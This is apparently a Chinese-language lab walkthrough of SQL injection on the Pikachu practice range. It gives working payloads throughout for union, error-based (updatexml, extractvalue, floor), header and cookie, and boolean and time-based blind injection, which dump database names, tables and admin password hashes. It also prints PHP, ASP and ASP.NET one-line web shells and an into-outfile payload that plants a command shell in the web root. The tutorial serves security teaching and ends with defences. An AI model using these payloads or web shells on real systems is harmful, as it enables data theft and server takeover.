Pikachu靶场-SQL Inject
- SQL Inject 漏洞原理概述
- SQL Inject攻击流程
- 如何判断是否存在注入
- 如何判断注入点类型及常见注入类型
-
-
- 数字型
- 字符型
- 搜索型
- XX型
-
- SQL Inject 手工测试
-
-
- 基于union联合查询的信息获取
-
-
- Union的联合查询、order by的补充知识
- information_schema数据库的介绍
- 基于Union的联合查询(select)
-
- 基于报错信息的获取
-
- 常用的报错函数updatexml()、extractvalue()、floor()
- 基于函数报错的信息获取(select/insert/update/delete)
-
-
- updatexml函数报错
- extractvalue函数报错
- floor函数报错
-
- OS远程控制
-
-
-
- 一句话木马
- 如何通过into outfile写入恶意代码并控制OS
-
-
-
- http header 注入
- SQL Inject 盲注
-
-
- Boolean注入攻击 原理及测试
- Time注入攻击 原理及测试
-
- sql常见防范措施
SQL Inject 漏洞原理概述
owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL Inject攻击流程
第一步:注入点探测
自动:使用web漏洞扫描工具,自动进行注入点的发现
手动:手工构造sql inject测试语句注入点发现
第二步:信息获取
通过注入点去取到期望的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息
2.数据库信息:数据库名称,数据库表,表字段 ,字段内容
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
如何判断是否存在注入
1.显错注入的判断方法
如这么一个网站www.example.com/index.php?id=1,首先第一步我们先进行是否存在注入的判断,先在
数字1后加单引号 ',若页面处错,则存在Sql注入,但注入点是否可利用还和服务端代码和服务器配置息息
相关(如过滤一些危险函数或者限制参数的长度时就不可以利用)。其次还可以使用逻辑符号来判断是否
存在注入,参数后加and 1=1和and 1=2,若and 1=1页面返回正常,and 1=2返回错误时,则存在Sql注
入(这是Sql语法运算符的特点,SQL AND & OR 运算符如果第一个条件和第二个条件都成立,则 AND 运
算符显示一条记录。如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。),
否则不一定存在注入。 同理也可以使用or来判断是否存在注入。需要注意的是,我们需要根据注入点的类
型来判断是否需要在整个参数中添加注释符或引号。
2.不显错的判断方法
在单引号and和or下都不报错时,也可能存在注入,由于服务器可能配置在参数错误时依然返回原有页
面,这样即使存在注入页面也不会发生变化了。我们可利用页面返回时间来判断是否存在注入,如and
if(1=0,1, sleep(10)),注意是否需要使用单引号或者注释符。不同的数据库有不同的延时函数,需要
结合具体情况来使用。
如何判断注入点类型及常见注入类型
常见类型
· 数字型 user id=$id
· 字符型 user id='$id'
· 搜索型 text like '%{$_GET['search']}%'
如何判断常见类型呢?
我们就是看他输入的变量,当变量传到sql语句中的时候,是以什么类型拼接进去的
纯数字类型的话,就是数字型
如果是有单引号或者双引号,以一个字符串的形式拼接进去,就是字符型
如果有like ‘% %’这样的,就是搜索型
数字型
首先还是看我们的Pikachu
这就是一个输入点
我们来搜索看一下
可以看到参数不是在URL中提交,可见它是post请求
我们来抓包看一看
这时候,我们来想一想,它后台是个什么操作
前端接受到这个数字1
然后,前端获取到输入后,把这个输入放到对应的数据库操作中
然后获取数据库的信息
大致是这么个流程吧
那么它通过sql语句操作数据库的地方是怎么搞呢?
我们猜测
后端通过查询1,然后返回了email和name
大致就是 select 字段1,字段2 from 表名 where id=1;
这样的话,我们就清楚了
如果构造一个非法的sql语句,它会不会去执行呢?
我们来试试
select 字段1,字段2 from 表名 where id=1 or 1=1;
我们将刚刚抓到的包中数据修改,然后Forward
发现数据都被显示了出来
其实这就是一个数字型注入的sql漏洞
字符型
我们来看字符型
我们输入kobe看看
我们的id为3,邮箱为kobe@pikachu.com
我们还是像数字型一样,想想它是怎么个操作
我们猜想它操作数据库的语句
select 字段1,字段2,from 表名 where username ='kobe';
(这边要说一下,因为是字符串,如果没有这个单引号的话,就会报错)
那么,我们来构造一个payload,我们根据之前的思路
kobe or 1=1
会发现,查不出来,这就是这个单引号的问题
这里我们就要构造闭合了
kobe’ or 1=1 #
这里我们解释一下,单引号就是为了闭合前面的单引号,#就是为了注释后面的单引号
构造完成后,我们来试试
提交后
成功输出全部内容
这里如果想要通过url来写的话,还需要多做一个URL的编码
其实跟我们之前的数字型大同小异
它这里区别只是在拼接变量的时候,用了一个字符串(单引号)
这就是一个字符型的sql注入漏洞
搜索型
上来,我们先搜一下
同样的老规矩,我们还是判断它后台是个怎么回事
selece 字段1,字段2,字段3 from 表名 where username like '%xx%'
我们还是来构造闭合
a%’ or 1=1#
(%'是闭合前面,#是注释后面)
我们试试看
拿下~
这就是一个搜索型的sql注入漏洞
XX型
我们还是一样的搜索一下
这里我们考虑它是一个字符串的话,我们来构造一个payload
kobe’ or 1=1#
但是在搜索之后,它提示我们有一个sql语法错误
这就说明,它里面不只是单引号来拼接了
通过查看它的源码,我们发现它还多加了一个括号
我们还是来构造闭合
a’)union select version(),database()#
(这里是用union联合查询来看一看数据库的版本和名称,接下来就会讲到了)
可以看到,数据库版本为5.7.26,名称为pikachu
SQL Inject 手工测试
基于union联合查询的信息获取
Union的联合查询、order by的补充知识
union 联合查询:可以通过联合查询来查询指定数据
union 操作符用于合并两个或多个 select 语句的结果集。
用法:
select username,password from table_name1 where id=1
union
select 字段1,字段2 from table_name2
这里要注意,联合查询的字段数要和主查询一致
order by
order by 语句用于根据指定的列对结果集进行排序。
order by 语句默认按照升序对记录进行排序。
我们用order by来排序,其实是看它存不存在
order by 1 有回显
order by 2 有回显
order by 3 无回显
说明主查询中只有两个字段
information_schema数据库的介绍
在mysql中,自带的information_ schema这 个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图) .详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columnsfrom schemaname.tablename的结果取之此表。
基于Union的联合查询(select)
这里我们用字符型来做演示(其实其他的也行,只是闭合条件不同而已)
首先,我们要进行一个order by的字段猜测
通常我们使用二分法
构造闭合 a' order by 10#
它提示我们10不存在
然后我们用5
5也不行,继续3
接着再来,2
它提示我们输入的用户a不存在
这样就可以知道order by正常执行
主查询字段为2
然后我们用union进行拼接
构造闭合
a’ union select database(),version()#
我们输入试试
数据库名称为pikahcu,版本为5.7.26
基于报错信息的获取
常用的报错函数updatexml()、extractvalue()、floor()
updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数
作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:UPDATEXML(xml_document,XPathstring,new_vaule)
第一个参数:fiedname是String格式,为表中的字段名
第二个参数:XPathstring(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误
extractvalue():函数也是MySQL对XML文档进行查询的XPATH函数
作用:从目标xml中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)
第一个参数:xml_document是String格式,为xml文档对象的名称,文中为doc
第二个参数:Xpath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误
floor():MySQL中用来取整的函数
基于函数报错的信息获取(select/insert/update/delete)
思路:在MYSQL中,使用一些指定函数来制造报错,从而从报错信息中获取设定的信息
select/insert/update/delete都可以使用报错来获取信息
背景:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
updatexml函数报错
通过pikachu演示select下报错的利用
我们首先确定它要有报错信息的返回
先输入一个单引号构造一个错误的语法
有报错会返回到前端
我们用updatexml这个函数构造一个报错,通过报错获取相关的信息
构造一个payload
kobe’ and updatexml(1,version(),0)#
报错了
这里发现有一部分内容没有了
我们对payload进行一下改造
用cancat将两个参数组合在一起
kobe' and updatexml(1,concat(0x7e,version()),0)#
(0x7e是~的十六进制)
再来试试
再来试试
kobe' and updatexml(1,concat(0x7e,database()),0)#
这样,只要我们把version这个表达式替换成我们想要的表达式就可以了
我们来获取一下表的信息
kobe ’ and updatexml(1, concat(0x7e,(select table_ name from information_ schema.tables where table_ schema=‘pikachu’)),0)#
这里它提示我们显示的东西超过一行
我们只需要多操作几次
让它的结果只显示一行
kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 2,1)),0)#
获取到表名以后,我们来获取列名
kobe' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
获取到列之后,再来获取数据
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
获得了md5加密的密码
我们之前都是通过select去做了相应的操作
那如果是Insert、update、delete的注入呢?
我们应该如何进行操作
我们来看看
我们这里点一下注册
先来判断它是否会报错
我们在必填项中输入单引号
提交之后,它提示我们有SQL语法错误
我们按照之前select的思路来想一下
它数据库的语句应该是怎么样的
盲猜是这样的形式
insert into member(字段1,字段2,字段3) values('xxx',1,2,3);
如何构造闭合呢
我们一般采取or进行闭合
构造一下
a' or updatexml (1,concat(0x7e,database()),0) or '
前面的单引号闭合前面的
后面的闭合后面的
我们来测试一下
拿到了数据库名称~
其实跟我们之前的select的思路一样,只是闭合要用一个or
这就是一个insert报错注入的漏洞
update 和 insert也是一样的
这里就不多讲了
我们直接来测试一下
payload就用这个
a’ or updatexml (1,concat(0x7e,database()),0) or ’
首先登录一下
然后将payload写在修改的地方
提交
通过报错拿到了数据库名称~
那么delete的报错如何来做呢?
我们来删除一个留言,然后看burp抓到的包
将它放到Repeater
我们就可以将这个id进行闭合
我们来构造一个payload
1 or updatexml(1,concat(0x7e,database()),0)
修改id的值
然后因为这里是通过url提交的,我们要进行一个url的编码
然后我们点go,重发一遍
再一次拿到了数据库的名称~
以上就是基于报错函数updatexml了漏洞利用了
extractvalue函数报错
extractvalue报错函数也是一个道理
这里放一个payload
一看就明白了
kobe’ and extractvalue(0,concat(0x7e,database()))#
来试试
提交
再次拿到
其实, updatexml和extractvalue使用时效果是一样的
floor函数报错
floor函数是一个向下取整的函数
如果要构成报错
在它的表达式里面要满足这几个条件
1:运算中要有count
2:运算中要有group by
3:运算中要有rand随机值
我们来构造一个闭合
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
看看它是怎么样的
提交之后
通过报错拿到了数据库的版本
我们也可以将刚刚payload中的version换成别的
同样可以
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)#
我们来看看users表中admin的密码
输入payload,提交
成功拿到密码~
这个就是基于floor函数的报错注入
OS远程控制
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大
PHP:
<?php @eval($_POST['chopper']);?>
ASP:
<%eval request("chopper")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
如何通过into outfile写入恶意代码并控制OS
我们可以把这个函数写到一个文件中去,然后通过对这个文件的访问,去执行这个
函数,向这个函数传入我们想要的操作,就会被当作远程控制的操作去执行,从而实现对服务端的控制
select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#
http header 注入
什么是Http Header报错呢?
有时候,后台开发人员为了验证客户端头消息(例如cookie),或者通过HTTP header头信息获取客户端的一些信息,比如useragent、accept字段等
会对客户端的http header信息进行获取并使用SQL处理,如果此时没有足够的安全,则可能会导致基于http header的SQL Inject漏洞
我们首先登录一下
我们的一些网络信息都被展示了出来
我们将抓到的包发到repeater中
对比一下User-Agent和pikachu上的
我们猜测它将我们的user-agent用sql语句拼接起来了
修改成单引号,看看会不会报错
那我们就用之前的updatexml函数报错
构造一个payload
firefox' or updatexml(1,concat(0x7e,database()),0) or '
重发一下
拿到饿了数据库名称
还有一个cookie
后台拿到cookie后,也可能会到数据库中去拼接进行相关的操作
这也可能是一个sql注入漏洞
我们在cookie的uname中加一个单引号
我们来试试看看会不会报错
这样的话,我们就可以构造payload了
admin' and updatexml(1,concat(0x7e,database()),0)#
输入后,重发一下
这就是简单的http header注入
SQL Inject 盲注
什么是盲注呢?
有些情况下,后台使用了错误信息屏蔽的方法(比如@)屏蔽了报错
此时无法根据报错信息来进行注入的判断
这种情况就叫盲注
根据表现情况不同m,盲注又分为based Boolean和based time两种类型
Boolean注入攻击 原理及测试
基于Boolean盲注的主要表现:
0.没有报错信息
1.不管正确和错误的输入 都只显示两种情况(可以认为是0和1)
2.在正确输入的情况下,输入and 1=1/and 1=2发现可以判断
演示一下
这里我们输入这个payload
发现它只是提示我们username不存在
那是不是就没有报错呢?
在我们输入kobe’ and 1=1#这个payload后,提交
信息出来了,这就说明它是存在sql注入漏洞的,只是它不会返回报错信息
构造一个payload
kobe' and ascii(substr(database(),1,1))>100#
什么意思呢?
就是说如果可以返回kobe的信息的话,说明and后面为真,反之
后面的信息就是从database的名称第一个字符开始,取一个,做ascll码转化,与100来比较,根据真或假我们就可以知道database的第一个字符串是不是大于100,重复这个操作,从而猜出它的第一个字符。
测试一下
显示了,说明第一个字符大于100为真
然后
kobe' and ascii(substr(database(),1,1))=112#
我们来看看
说明第一个字符串=112为真
那它数据库的第一个字符串就是“p”
重复操作
获取到它的数据库名称为“pikachu”
这就是简单的Boolean盲注了
Time注入攻击 原理及测试
如果书Boolean盲注在页面还可以看到0 or 1 的回显的话
那么基于time的盲注就啥也看不到了
但是还有一个条件,就是时间,通过特定的输入,判断后台执行的时间,从而确定注入~
常用的payload
kobe' and sleep(5)#
输入kobe试试
正常响应41ms
输入kobe’ and sleep(5)#,让它休息5s
响应为5000多ms
说明存在sql注入漏洞
构造payload
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
说明数据库的第一个字符为p,相应为5000多ms
正确
以此测试,获取到数据库的名称为pikachu
sql常见防范措施
· 代码层面
1.对输入做严格的转义
2.使用预处理和参数化
· 网路层面
1.使用WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护(360、阿里云盾)